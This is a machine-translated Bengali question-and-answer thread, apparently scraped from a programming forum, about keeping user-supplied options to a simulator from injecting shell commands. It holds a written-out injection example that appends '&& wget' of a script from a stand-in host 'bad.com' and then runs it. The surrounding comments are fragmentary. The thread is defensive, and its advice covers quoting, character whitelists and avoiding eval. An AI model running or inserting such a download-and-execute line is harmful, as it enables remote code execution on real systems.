আমার একটি মোড়কের অ্যাপ্লিকেশন রয়েছে যেখানে আমি ব্যবহারকারীকে একটি সিমুলেটারে যাওয়ার জন্য কাস্টম বিকল্পগুলি নির্দিষ্ট করতে দেওয়া দরকার। তবে, আমি নিশ্চিত করতে চাই যে ব্যবহারকারী ব্যবহারকারী বিকল্পগুলির মাধ্যমে অন্যান্য কমান্ডগুলি ইনজেক্ট করবেন না। এটি সম্পাদন করার সর্বোত্তম উপায় কী?
উদাহরণ স্বরূপ.
- ব্যবহারকারী সরবরাহ করে:
-a -b
- অ্যাপ্লিকেশন কার্যকর:
mysim --preset_opt -a -b
তবে, আমি এটি চাই না:
- ব্যবহারকারী সরবরাহ করে:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- অ্যাপ্লিকেশন কার্যকর:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
বর্তমানে, আমি ভাবছি যে আমি প্রতিটি ব্যবহারকারীর সরবরাহিত বিকল্পকে একক উদ্ধৃতি দিয়ে ঘিরে ফেলতে পারি '
এবং ব্যবহারকারীর দ্বারা সরবরাহিত একক উদ্ধৃতি সরিয়ে ফেলতে পারি, যাতে শেষ উদাহরণে কমান্ডটি নিরীহ হতে পারে:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
দ্রষ্টব্য: mysim
কমান্ডটি ডকার / এলএক্সসি পাত্রে শেল স্ক্রিপ্টের অংশ হিসাবে কার্যকর করে। আমি উবুন্টু চালাচ্ছি।
eval
। আমি mysim
শেল স্ক্রিপ্টের মধ্যে এক্সিকিউটেবল কল করছি । আমি ইঞ্জেকশনটি ঘটতে দেখছি যদি আমি ব্যবহারকারী কেবলমাত্র বিকল্পের স্ট্রিংটি অনুলিপি করে mysim
কমান্ডের শেষে এটিকে আটকান ।
-a -b
। সুতরাং আমি নিশ্চিত হচ্ছি যে অতিরিক্ত কমান্ডগুলি সেই স্ট্রিংয়ে ইনজেকশন করা হয়নি।
[a-zA-Z0-9 _-]
মঞ্জুরি দেওয়ার জন্য এটি বেশ সুন্দর প্রতিরক্ষামূলক পছন্দ বলে মনে হচ্ছে।
eval
অ্যাপ্লিকেশন চালানোর জন্য ব্যবহার করছেন? যদি তা না হয় তবে ইঞ্জেকশনটি হওয়া উচিত নয়:x="&& echo Doomed" ; echo $x